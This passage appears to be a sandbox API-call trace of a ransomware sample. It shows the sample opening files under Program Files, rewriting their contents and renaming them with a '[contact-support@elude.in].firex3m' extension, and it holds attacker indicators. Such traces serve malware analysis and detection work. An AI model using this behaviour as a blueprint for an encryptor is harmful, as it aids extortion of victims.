lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0234.569] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.569] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0234.569] CloseHandle (hObject=0x640) returned 1 [0234.569] GetProcessHeap () returned 0x630000 [0234.569] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f4000 | out: hHeap=0x630000) returned 1 [0234.570] GetProcessHeap () returned 0x630000 [0234.570] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f41b8 | out: hHeap=0x630000) returned 1 [0234.570] GetProcessHeap () returned 0x630000 [0234.570] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317a68 | out: hHeap=0x630000) returned 1 [0235.680] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.680] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x51c2ee02, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1ac, dwReserved0=0x46ffd20, dwReserved1=0x6f41b8, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5340 [0235.681] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0235.681] Sleep (dwMilliseconds=0x1) [0235.718] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\vine.scale-180.png", len=0x66 | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\vine.scale-180.png") returned 1 [0235.718] GetProcessHeap () returned 0x630000 [0235.718] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fdc) returned 0x6fe3bb0 [0235.718] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\vine.scale-180.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\app\\vine.scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.734] Sleep (dwMilliseconds=0x1) [0235.874] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\index.html", len=0x6f | out: pbstr=0x46fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\index.html") returned 1 [0235.874] GetProcessHeap () returned 0x630000 [0235.874] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f9c) returned 0x6fe3bb0 [0235.875] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\cs-cz\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x70c [0235.875] CloseHandle (hObject=0x70c) returned 1 [0235.875] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.875] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\cs-cz\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\cs-cz\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.876] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.876] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9fc4, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5280 [0235.876] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0235.876] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\cs-cz\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x70c [0235.876] GetProcessHeap () returned 0x630000 [0235.876] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9fe1) returned 0x742a098 [0235.876] GetProcessHeap () returned 0x630000 [0235.876] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9fe1) returned 0x7434088 [0235.877] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.877] ReadFile (in: hFile=0x70c, lpBuffer=0x742a098, nNumberOfBytesToRead=0x9fc0, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x742a098*, lpNumberOfBytesRead=0x46fff0c*=0x9fc0, lpOverlapped=0x0) returned 1 [0241.981] GetProcessHeap () returned 0x630000 [0241.981] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745c648 [0241.982] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.982] WriteFile (in: hFile=0x70c, lpBuffer=0x7434088*, nNumberOfBytesToWrite=0x9fc0, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7434088*, lpNumberOfBytesWritten=0x46fff0c*=0x9fc0, lpOverlapped=0x0) returned 1 [0241.982] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.982] WriteFile (in: hFile=0x70c, lpBuffer=0x743e047*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x743e047*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0241.982] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.982] WriteFile (in: hFile=0x70c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0241.982] CloseHandle (hObject=0x70c) returned 1 [0241.983] GetProcessHeap () returned 0x630000 [0241.983] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7434088 | out: hHeap=0x630000) returned 1 [0241.987] GetProcessHeap () returned 0x630000 [0241.987] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x742a098 | out: hHeap=0x630000) returned 1 [0241.987] GetProcessHeap () returned 0x630000 [0241.987] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745c648 | out: hHeap=0x630000) returned 1 [0243.186] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.186] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x562d743e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9fe8, dwReserved0=0xb407496, dwReserved1=0x742a090, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5340 [0243.186] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0243.186] Sleep (dwMilliseconds=0x1) [0243.193] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Hard.png", len=0x71 | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Hard.png") returned 1 [0243.193] GetProcessHeap () returned 0x630000 [0243.193] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52d4) returned 0x6fe3bb0 [0243.193] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Hard.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\workflow\\density_hard.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.208] Sleep (dwMilliseconds=0x1) [0243.246] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Icon.targetsize-16.png", len=0x8c | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Icon.targetsize-16.png") returned 1 [0243.246] GetProcessHeap () returned 0x630000 [0243.246] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5234) returned 0x6fe3bb0 [0243.246] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Icon.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-black\\icon.targetsize-16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.246] Sleep (dwMilliseconds=0x1) [0243.258] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HelpIcon_contrast-black.png", len=0x73 | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HelpIcon_contrast-black.png") returned 1 [0243.258] GetProcessHeap () returned 0x630000 [0243.258] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5204) returned 0x6fe3bb0 [0243.258] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HelpIcon_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\helpicon_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.267] Sleep (dwMilliseconds=0x1) [0243.273] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Smiley face_icon.png", len=0x7a | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Smiley face_icon.png") returned 1 [0243.273] GetProcessHeap () returned 0x630000 [0243.273] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51e4) returned 0x6fe3bb0 [0243.273] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Smiley face_icon.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\smiley face_icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.289] Sleep (dwMilliseconds=0x1) [0243.315] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CubeTile_contrast-black.png", len=0x73 | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CubeTile_contrast-black.png") returned 1 [0243.315] GetProcessHeap () returned 0x630000 [0243.315] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x514c) returned 0x6fe3bb0 [0243.315] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CubeTile_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\cubetile_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.316] Sleep (dwMilliseconds=0x1) [0244.256] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_TileLargeSquare.scale-100.png", len=0x7f | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_TileLargeSquare.scale-100.png") returned 1 [0244.256] GetProcessHeap () returned 0x630000 [0244.256] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f58) returned 0x6fe3bb0 [0244.256] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_TileLargeSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\news_tilelargesquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.257] Sleep (dwMilliseconds=0x1) [0244.270] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_LogoSmall.targetsize-48.png", len=0x8c | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_LogoSmall.targetsize-48.png") returned 1 [0244.270] GetProcessHeap () returned 0x630000 [0244.270] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f24) returned 0x6fe3bb0 [0244.270] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_LogoSmall.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\news_logosmall.targetsize-48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.272] Sleep (dwMilliseconds=0x1) [0244.278] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_LogoSmall.scale-100.png", len=0x88 | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_LogoSmall.scale-100.png") returned 1 [0244.278] GetProcessHeap () returned 0x630000 [0244.278] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f10) returned 0x6fe3bb0 [0244.278] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_LogoSmall.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\news_logosmall.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.278] Sleep (dwMilliseconds=0x1) [0244.300] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxManifest.xml", len=0x5d | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxManifest.xml") returned 1 [0244.300] GetProcessHeap () returned 0x630000 [0244.300] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4edc) returned 0x6fe3bb0 [0244.301] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.303] Sleep (dwMilliseconds=0x1) [0244.308] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", len=0x63 | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned 1 [0244.309] GetProcessHeap () returned 0x630000 [0244.309] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ed0) returned 0x6fe3bb0 [0244.309] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.311] Sleep (dwMilliseconds=0x1) [0244.327] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js", len=0x68 | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js") returned 1 [0244.327] GetProcessHeap () returned 0x630000 [0244.327] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4eb4) returned 0x6fe3bb0 [0244.327] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\msadvertisingjs\\ormma.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.330] Sleep (dwMilliseconds=0x1) [0244.340] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\WeatherColorIcons.ttf", len=0x8c | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\WeatherColorIcons.ttf") returned 1 [0244.340] GetProcessHeap () returned 0x630000 [0244.340] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ea8) returned 0x6fe3bb0 [0244.341] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\WeatherColorIcons.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.shell\\themes\\glyphs\\font\\weathercoloricons.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.344] Sleep (dwMilliseconds=0x1) [0244.360] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\trdtv2r41.xsl", len=0x7c | out: pbstr=0x46fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\trdtv2r41.xsl") returned 1 [0244.361] GetProcessHeap () returned 0x630000 [0244.361] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e8c) returned 0x6fe3bb0 [0244.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\trdtv2r41.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\trdtv2r41.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0244.549] CloseHandle (hObject=0x648) returned 1 [0244.549] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0244.549] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\trdtv2r41.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\trdtv2r41.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0244.577] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0244.577] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: 